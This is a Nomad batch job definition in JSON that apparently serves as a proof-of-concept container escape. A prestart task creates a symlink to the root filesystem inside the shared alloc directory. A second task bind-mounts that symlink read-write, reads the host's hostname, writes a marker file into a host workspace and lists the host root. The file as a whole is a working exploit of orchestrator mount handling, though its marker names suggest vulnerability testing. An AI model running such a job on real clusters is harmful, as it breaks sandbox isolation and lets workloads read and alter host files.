{
  "Job": {
    "ID": "esc-vuln1-1791556358",
    "Name": "esc-vuln1-1791556358",
    "Type": "batch",
    "Priority": 50,
    "Datacenters": [
      "*"
    ],
    "TaskGroups": [
      {
        "Name": "grp",
        "Count": 1,
        "Tasks": [
          {
            "Name": "prep",
            "Lifecycle": {
              "Hook": "prestart"
            },
            "Driver": "docker",
            "Config": {
              "image": "alpine:3.19",
              "command": "sh",
              "args": [
                "-c",
                "ln -sfn / /alloc/escape-root && ls -la /alloc/"
              ]
            },
            "Resources": {
              "CPU": 100,
              "MemoryMB": 64
            }
          },
          {
            "Name": "escape",
            "Driver": "docker",
            "Config": {
              "image": "alpine:3.19",
              "command": "sh",
              "args": [
                "-c",
                "echo HOST_HOSTNAME=$(cat /host-escape/etc/hostname); echo ESCAPE_WRITE_OK_vuln1-1791556358 > /host-escape/workspace/host-escape-zone/ESCAPE_WRITE_OK_vuln1-1791556358.txt; cat /host-escape/workspace/host-escape-zone/ESCAPE_WRITE_OK_vuln1-1791556358.txt; ls /host-escape/"
              ],
              "mounts": [
                {
                  "type": "bind",
                  "source": "../alloc/escape-root",
                  "target": "/host-escape",
                  "readonly": false
                }
              ]
            },
            "Resources": {
              "CPU": 100,
              "MemoryMB": 64
            }
          }
        ]
      }
    ]
  }
}
